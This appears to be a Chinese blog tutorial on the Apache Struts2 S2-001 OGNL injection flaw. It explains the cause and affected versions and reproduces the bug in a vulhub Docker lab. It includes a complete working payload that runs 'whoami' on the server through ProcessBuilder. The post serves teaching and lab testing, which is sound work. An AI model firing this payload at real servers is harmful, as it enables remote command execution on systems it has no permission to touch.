Struts2漏洞 (S2-001)漏洞原理及复现

一、漏洞原理

涉及软件:  Apache Struts2(java代码写的开发框架)
涉及业务: javaweb应用程序
爆发功能点: Struts2标签处理功能altSyntax(此标签提供标签处理功能)
涉及语言:  OGNL(对象图导航语言)
注入点:  OGNL表达式注
爆发条件: 

1. Struts2中允许用户提交包含OGNL表达式字符串的表单数据;

2.若表单验证失败,服务器会将用户提交的OGNL表达式进行解析执行;

漏洞别称Struts2标签解析代码实际上是在XWork中,故也称为XWork2漏洞
涉及版本Struts 2.0.0 - 2.0.8
WebWork 2.2.0 - 2.2.5
WebWork 2.1 (启用altSyntax)

二、payload解析


" %{}  ” 在OGNL表达式中经常出现,它提供了一个OGNL表达式运行环境,可以在%{}中填入需要运行的代码,例:

%{1+1}
%{#user.username}

三、漏洞复现(vulhub)

启动vulhub靶场 ,cd命令切换至 vulhub/Struts2/S2-001 目录下,使用以下命令拉取靶场镜像

docker-compose up -d

默认8080端口,访问靶机

在表单中输入,页面返回结果”2“,说明代码被解析。

%{1+1}

更换payload,代码运行成功,查询当前用户为root,漏洞验证成功

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值